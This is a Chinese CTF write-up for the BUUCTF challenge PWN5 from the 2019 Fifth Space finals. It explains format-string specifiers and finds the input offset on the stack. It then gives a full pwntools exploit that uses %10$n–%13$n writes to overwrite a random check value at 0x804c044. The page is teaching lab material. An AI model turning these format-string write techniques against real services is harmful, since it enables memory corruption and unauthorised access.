zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN10——[第五空间2019 决赛]PWN5

    [第五空间2019 决赛]PWN5

    题目网址:https://buuoj.cn/challenges#[第五空间2019%20决赛]PWN5

    步骤:
    例行检查,32位,开启了nx和canary(栈保护)
    在这里插入图片描述
    nc一下,看看程序大概的执行情况,可以看到当输入的长度过长的时候,他的回显会有点问题,猜测输出语句存在问题
    在这里插入图片描述
    32位ida载入,shift+f12查看一下程序里的字符串,看到了 /bin/sh
    在这里插入图片描述
    双击跟进,ctrl+x找到调用这个字符串的函数
    在这里插入图片描述
    关于格式化字符串详细的讲解,看这里
    看文章感觉还是不是很懂的可以看这里,从39分42开始

    我们先来看一下几个经常用来测试格式化字符串的格式控制符
    %d 用于读取10进制数值
    %x 用于读取16进制数值   
    %s 用于读取字符串值   
    %p 用于读取参数地址
    %n 用于讲当前字符串的长度打印到var中,默认写入4字节,也可以用h来占位

    在这里插入图片描述
    在这里插入图片描述

    %$定位参数符在这里插入图片描述

    利用思路

    1.利用 "AAAA %08x %08x %8x %08x %08x %08x %08x………… ",这样的字符串来找到我们输入的参
    数在函数栈上的位置,我看别的师傅叫首地址偏移或者偏移量

    2.假设是在栈上第n位,那么可以利用 %n$ 定位到参数在栈上的位置

    3.利用%n来修改参数里的内容,我们不知道读入的随机数是多少,那么我们将它改成我们写入的数据不
    就好了

    利用过程

    一、我们先在调试程序的时候输入一下的类似于这种字符串来测试一下程序,找到我们输入的字符串在栈上的位置

    AAAA %08x %08x %8x %08x %08x %08x %08x…………
    

    在这里插入图片描述
    AAAA对应的十六进制是41414141,可以看到我们输入的参数是在栈上的第10个位置(从AAAA开始往后数),就是说我们之后在利用的时候可以直接利用 %10$ 定位到这个位置

    二、看一下读入随机数的参数在函数里的地址,长度为4字节,那么我们可以分别用%(10~13)$去定位到这4个地址在% $后面+n,来修改这这个地址里的内容,因此构造payload

    在这里插入图片描述

    payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
    payload+='%10$n%11$n%12$n%13$n'
    

    三、写入任意一个数据,之后我们输入的时候也输入这个数据

    r.sendline(str(0x10101010))
    

    完整exp

    from pwn import*
    
    r=remote('node3.buuoj.cn',29564)
    
    payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
    payload+='%10$n%11$n%12$n%13$n'
    
    r.sendline(payload)
    
    r.sendline(str(0x10101010))
    
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    基于Jquery+Ajax+Json+高效分页
    前端购物车框架(精髓篇)
    基于C#操作Word文档中的Bookmark
    C# 方法中的this参数
    Asp.Net 全局变量
    winform 多表头的实现
    2012年2月
    在UpdatePanel上使用FileUpload上传文件(转载)
    2011年总结和2012年计划
    javascript备注
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273724.html
Copyright © 2011-2022 走看看